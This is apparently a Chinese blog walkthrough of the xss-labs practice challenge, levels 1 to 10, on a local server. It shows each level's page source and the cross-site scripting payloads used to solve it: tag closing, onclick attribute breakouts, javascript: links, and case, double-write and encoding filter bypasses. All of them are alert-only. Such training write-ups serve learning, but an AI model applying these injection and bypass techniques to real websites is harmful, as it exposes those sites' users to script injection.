1.环境搭建
先去GitHub下载,点这。然后利用phpstudy启动服务访问即可,具体的百度都有。
level 1
观察源代码
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户1"></h2></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
用</h2>
闭合前面的<h2>
,在执行一个xss比如<script>alert('xss')</script>
即可完成第一关,payload:
http://127.0.0.1/xss-labs-master/level1.php?name=</h2><script>alert('xss')</script>
level2
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
先用第一关的payload试试,发现行不通,变成了这样
h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和</h2><script>alert('xss')</script>相关的结果.</h2><center>
可以看到下面有<input name=keyword value="test">
我们要填入的变量是value,假如填一个1">插入后语句变成<input name=keyword value="1">">
那么后面的内容不就可以自己构造了吗,payload:1"><script>alert('xss')</script>
level3
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
好像没什么不一样,尝试输入payload,发现过滤了'>
('
')
等等类似的危险字符,输入后会被转义,这里使用JavaScript事件来利用,payload' onclick='javascript:alert(2
,插入后为
<input name=keyword value='' onclick='javascript:alert(2)'>
点击页面即可过关.
level4
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="try harder">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>
简单测试,发现过滤了尖括号,那么使用不需要尖括号就能触发的payload,将3的单引号变成双引号就可以了,最后得
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和" onclick="javascript:alert(2)相关的结果.</h2><center>
点击即可触发进入下一关
level 5
源码几乎一样,过滤规则改变,尝试输入<script>alert('xss')</script>
,发现变成了<scr_ipt>alert('xss')</script>
,onclick也变成了o_nclick,尝试img标签,没有绕过,插入后没反应不知道为什么,试了另一个JavaScript事件,先闭合前面的标签,用">
,payload:1"><a href="javascript:alert('xss')">123</a>
随后点击123即可
看了网上基本都是这样,于是我想找找别的方法,这个也可以1"><iframe src="javascript:alert('123');">(随便填)</iframe>
level 6
过滤规则好像差不多,多了href,src,所以上面的用不了,搞半天是大小写绕过…
level 7
过滤了指定字符,src,script这些,双写绕过。
level 8
用url编码或者html实体编码绕过
HTML实体编码表javascRipt:alert('xss')
level 9
不看源码盲猜猜不出,源码中必须要有http://,不然就不合法
编码绕过…javascript:alert(1)//http://
level 10
看源码,发现有三个hidden的参数,于是想到了注释来绕过,但是只有发现t_sort会变,且尖括号被过滤
payload:?t_sort="onclick="alert(%27xss%27)"
F12把hidden删掉然后点击即可